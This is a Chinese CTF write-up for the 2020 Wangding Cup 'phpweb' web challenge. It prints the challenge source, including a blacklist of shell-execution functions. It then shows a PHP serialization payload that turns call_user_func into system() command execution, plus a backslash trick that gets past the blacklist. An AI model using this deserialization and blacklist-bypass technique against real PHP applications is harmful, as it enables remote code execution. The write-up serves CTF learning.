【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

admin 2023年1月8日02:36:35安全博客 CTF专场评论1 views1493字阅读4分58秒阅读模式

[huayang]

【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

方法一

【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

懵逼吧,像这种能看见字的差不多就不用域名爆破了

并且这东西还一直在跳烦死了

日常抓包

【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

date是一个函数,后面的p应该是它的参数

知道了可以传参

利用file_get_contents()参数我们可以把源代码调来

【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

index.php

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
      "escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
      "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
      "array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
    );
    function gettime($func, $p) {
      $result = call_user_func($func, $p);
      $a= gettype($result);
      if ($a == "string") {
        return $result;
      } else {
        return "";
      }
    }
    class Test {
      var $p = "Y-m-d h:i:s a";
      var $func = "date";
      function __destruct() {
        if ($this->func != "") {
          echo gettime($this->func, $this->p);
        }
      }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
    if ($func != null) {
      $func = strtolower($func);
      if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
      }else {
        die("Hacker...");
      }
    }
  ?>

我们审计一下发现禁用了我们常用的危险函数

【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

绕过这里我们可以构建序列化

当unserialize函数的参数被用户控制时就会形成反序列化漏洞

首先我们先查看目录

<?php
class Test{
    var $p = "ls /";
    var $func = "system";
}
$c = new Test();#实例化对象
echo serialize($c);#序列化对象或数组,并返回一个字符串。
?>
【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

发现flag用cat进行打开

<?php
class Test{
    var $p = "cat /flag_977122963";
    var $func = "system";
}
$c = new Test();#实例化对象
echo serialize($c);#序列化对象或数组,并返回一个字符串。
?>
【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

方法二

我们审计过后发现还有一种捷径 \

因为它是通过黑名单绕反斜杠也会被当作一个字符

我们用system试一试

【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

看来是可以的,直接获取flag

【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb

更深层次的讲解:https://www.bilibili.com/video/av838348304/

[/huayang]

FROM:浅浅淡淡[hellohy]

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月8日02:36:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【原创】记一次ctf实战——2020-网鼎杯-朱雀组-Web-phpweb http://cn-sec.com/archives/1443386.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: